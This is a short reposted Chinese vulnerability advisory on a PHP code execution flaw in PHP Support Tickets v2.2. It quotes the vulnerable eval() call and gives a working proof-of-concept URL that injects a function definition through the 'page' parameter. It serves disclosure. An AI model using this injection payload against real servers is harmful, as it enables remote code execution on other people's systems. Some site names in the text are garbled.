标题: PHP Support Tickets v2.2 Code Exec
作者: brain[pillow] 开发者官网: HdhCmsTestphpsupporttickets测试数据 影响版本: 2.2 缺陷代码分析：
/classes/GUI/abstract.GUI.php
HdhCmsTest2cto测试数据 public function getPageName() {
return eval('return PHP ST_PAGENAME_' . strtoupper($this->page) . ';');
}
==================================================================== 测试:
/index.php?page=xek();function PHPST_PAGENAME_XEK(){phpinfo();}
修复：过滤
查看更多关于PHP Support Tickets v2.2代码执行缺陷及修复 - 网站安的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://www.haodehen.cn/did11379